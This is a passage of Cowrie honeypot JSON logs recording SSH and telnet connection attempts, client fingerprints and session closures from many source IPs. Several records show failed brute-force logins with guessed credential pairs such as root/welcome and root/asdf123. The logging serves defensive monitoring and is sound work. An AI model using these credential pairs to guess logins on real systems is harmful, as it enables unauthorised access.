-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:24.204775Z","src_ip":"194.59.206.2","session":"1cbef83373ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:24.298400Z","src_ip":"194.59.206.2","session":"1cbef83373ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33902,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15f6207fd4e","protocol":"telnet","message":"New connection: 50.6.8.71:33902 (10.17.0.5:23) [session: a15f6207fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:26.759176Z"}
{"eventid":"cowrie.session.closed","duration":37.989978313446045,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:27.102854Z","src_ip":"50.6.8.71","session":"36a09ef4cd7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.630407571792603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:38.676906Z","src_ip":"50.6.8.71","session":"a22f59f54ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3d407854a71","protocol":"telnet","message":"New connection: 67.222.148.25:39372 (10.17.0.5:23) [session: a3d407854a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:41.894690Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35976,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33749995fda","protocol":"telnet","message":"New connection: 50.6.8.71:35976 (10.17.0.5:23) [session: b33749995fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:49.693527Z"}
{"eventid":"cowrie.session.closed","duration":32.83351922035217,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:50.312958Z","src_ip":"50.6.8.71","session":"c82439c331f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34432601928711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:54.396729Z","src_ip":"50.6.8.71","session":"7cfe109af01e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68000888824463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:57.439064Z","src_ip":"50.6.8.71","session":"a15f6207fd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"dce7fa1926e3","protocol":"telnet","message":"New connection: 50.6.8.71:35632 (10.17.0.5:23) [session: dce7fa1926e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:01.295268Z"}
{"eventid":"cowrie.session.closed","duration":"102.2","message":"Connection lost after 102.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:09.528772Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54026,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dbcf02247fb","protocol":"telnet","message":"New connection: 50.6.8.71:54026 (10.17.0.5:23) [session: 3dbcf02247fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:11.476601Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":39382,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f00ae5d2159","protocol":"telnet","message":"New connection: 67.222.148.25:39382 (10.17.0.5:23) [session: 8f00ae5d2159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:15.228832Z"}
{"eventid":"cowrie.session.closed","duration":0.006985187530517578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:15.235693Z","src_ip":"67.222.148.25","session":"8f00ae5d2159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":60378,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f69c6c69be2","protocol":"ssh","message":"New connection: 87.106.29.151:60378 (159.203.135.109:22) [session: 9f69c6c69be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:18.304602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:18.309509Z","src_ip":"87.106.29.151","session":"9f69c6c69be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:18.402754Z","src_ip":"87.106.29.151","session":"9f69c6c69be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"titan","password":"titan","message":"login attempt [titan/titan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:18.805957Z","src_ip":"87.106.29.151","session":"9f69c6c69be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":54240,"dst_ip":"10.17.0.5","dst_port":22,"session":"8966e992aca7","protocol":"ssh","message":"New connection: 103.15.222.183:54240 (10.17.0.5:22) [session: 8966e992aca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:18.822249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:18.827568Z","src_ip":"103.15.222.183","session":"8966e992aca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:19.125448Z","src_ip":"103.15.222.183","session":"8966e992aca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:19.901757Z","src_ip":"87.106.29.151","session":"9f69c6c69be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome","message":"login attempt [root/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:19.911590Z","src_ip":"103.15.222.183","session":"8966e992aca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:21.151154Z","src_ip":"103.15.222.183","session":"8966e992aca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54096,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea51350168b","protocol":"telnet","message":"New connection: 50.6.8.71:54096 (10.17.0.5:23) [session: dea51350168b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:21.222659Z"}
{"eventid":"cowrie.session.closed","duration":33.837984561920166,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:23.531415Z","src_ip":"50.6.8.71","session":"b33749995fda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54084,"dst_ip":"10.17.0.5","dst_port":23,"session":"110ba32838be","protocol":"telnet","message":"New connection: 50.6.8.71:54084 (10.17.0.5:23) [session: 110ba32838be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:23.848387Z"}
{"eventid":"cowrie.session.closed","duration":38.89339256286621,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:40.188497Z","src_ip":"50.6.8.71","session":"dce7fa1926e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97085475921631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:44.447379Z","src_ip":"50.6.8.71","session":"3dbcf02247fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.124.111.109","src_port":50176,"dst_ip":"159.203.135.109","dst_port":23,"session":"861cf5faba44","protocol":"telnet","message":"New connection: 201.124.111.109:50176 (159.203.135.109:23) [session: 861cf5faba44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:45.369232Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48500,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7bc1fe36175","protocol":"telnet","message":"New connection: 50.6.8.71:48500 (10.17.0.5:23) [session: e7bc1fe36175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:51.248814Z"}
{"eventid":"cowrie.session.closed","duration":12.259806394577026,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:57.628937Z","src_ip":"201.124.111.109","session":"861cf5faba44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":51178,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa647b2f5a4","protocol":"telnet","message":"New connection: 67.222.148.25:51178 (10.17.0.5:23) [session: caa647b2f5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:57.726226Z"}
{"eventid":"cowrie.session.closed","duration":0.006056785583496094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:14:57.732121Z","src_ip":"67.222.148.25","session":"caa647b2f5a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.15077471733093,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:02.373233Z","src_ip":"50.6.8.71","session":"dea51350168b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.30542993545532,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:05.153699Z","src_ip":"50.6.8.71","session":"110ba32838be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34338,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8a1fbdb98c","protocol":"telnet","message":"New connection: 50.6.8.71:34338 (10.17.0.5:23) [session: fa8a1fbdb98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:07.302215Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32782,"dst_ip":"10.17.0.5","dst_port":23,"session":"a03c99c9b6cc","protocol":"telnet","message":"New connection: 50.6.8.71:32782 (10.17.0.5:23) [session: a03c99c9b6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:17.181556Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32786,"dst_ip":"10.17.0.5","dst_port":23,"session":"4496fff19379","protocol":"telnet","message":"New connection: 50.6.8.71:32786 (10.17.0.5:23) [session: 4496fff19379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:18.282614Z"}
{"eventid":"cowrie.session.closed","duration":37.65502381324768,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:28.903772Z","src_ip":"50.6.8.71","session":"e7bc1fe36175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00582027435303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:41.900379Z","src_ip":"67.222.148.25","session":"a3d407854a71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.71.58.157","src_port":56994,"dst_ip":"10.17.0.5","dst_port":23,"session":"be852bd09dda","protocol":"telnet","message":"New connection: 95.71.58.157:56994 (10.17.0.5:23) [session: be852bd09dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:43.664973Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45654,"dst_ip":"10.17.0.5","dst_port":23,"session":"695ed91969d8","protocol":"telnet","message":"New connection: 50.6.8.71:45654 (10.17.0.5:23) [session: 695ed91969d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:51.211219Z"}
{"eventid":"cowrie.session.closed","duration":34.99320459365845,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:52.174642Z","src_ip":"50.6.8.71","session":"a03c99c9b6cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.91470766067505,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:52.197161Z","src_ip":"50.6.8.71","session":"4496fff19379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45668,"dst_ip":"10.17.0.5","dst_port":23,"session":"23cd6b305c58","protocol":"telnet","message":"New connection: 50.6.8.71:45668 (10.17.0.5:23) [session: 23cd6b305c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:53.138470Z"}
{"eventid":"cowrie.session.closed","duration":49.22683262825012,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:56.528903Z","src_ip":"50.6.8.71","session":"fa8a1fbdb98c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.246434211730957,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:15:56.911291Z","src_ip":"95.71.58.157","session":"be852bd09dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52588,"dst_ip":"159.203.135.109","dst_port":22,"session":"cafaeda4476d","protocol":"ssh","message":"New connection: 80.94.92.184:52588 (159.203.135.109:22) [session: cafaeda4476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:01.239344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:01.508739Z","src_ip":"80.94.92.184","session":"cafaeda4476d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:01.514249Z","src_ip":"80.94.92.184","session":"cafaeda4476d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:02.455667Z","src_ip":"80.94.92.184","session":"cafaeda4476d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:03.595522Z","src_ip":"80.94.92.184","session":"cafaeda4476d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41690,"dst_ip":"10.17.0.5","dst_port":23,"session":"339aa32acbe7","protocol":"telnet","message":"New connection: 50.6.8.71:41690 (10.17.0.5:23) [session: 339aa32acbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:06.157568Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"56f6e1f24155","protocol":"telnet","message":"New connection: 50.6.8.71:50504 (10.17.0.5:23) [session: 56f6e1f24155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:17.699937Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40844,"dst_ip":"10.17.0.5","dst_port":22,"session":"22540d727974","protocol":"ssh","message":"New connection: 103.195.236.96:40844 (10.17.0.5:22) [session: 22540d727974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:21.871666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:21.883464Z","src_ip":"103.195.236.96","session":"22540d727974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:22.106529Z","src_ip":"103.195.236.96","session":"22540d727974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123","message":"login attempt [root/asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:23.030270Z","src_ip":"103.195.236.96","session":"22540d727974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:24.269164Z","src_ip":"103.195.236.96","session":"22540d727974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.916253328323364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:27.127353Z","src_ip":"50.6.8.71","session":"695ed91969d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.662224769592285,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:33.800577Z","src_ip":"50.6.8.71","session":"23cd6b305c58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.53","src_port":63684,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5e2ec934f0","protocol":"ssh","message":"New connection: 205.210.31.53:63684 (159.203.135.109:22) [session: de5e2ec934f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:45.937043Z"}
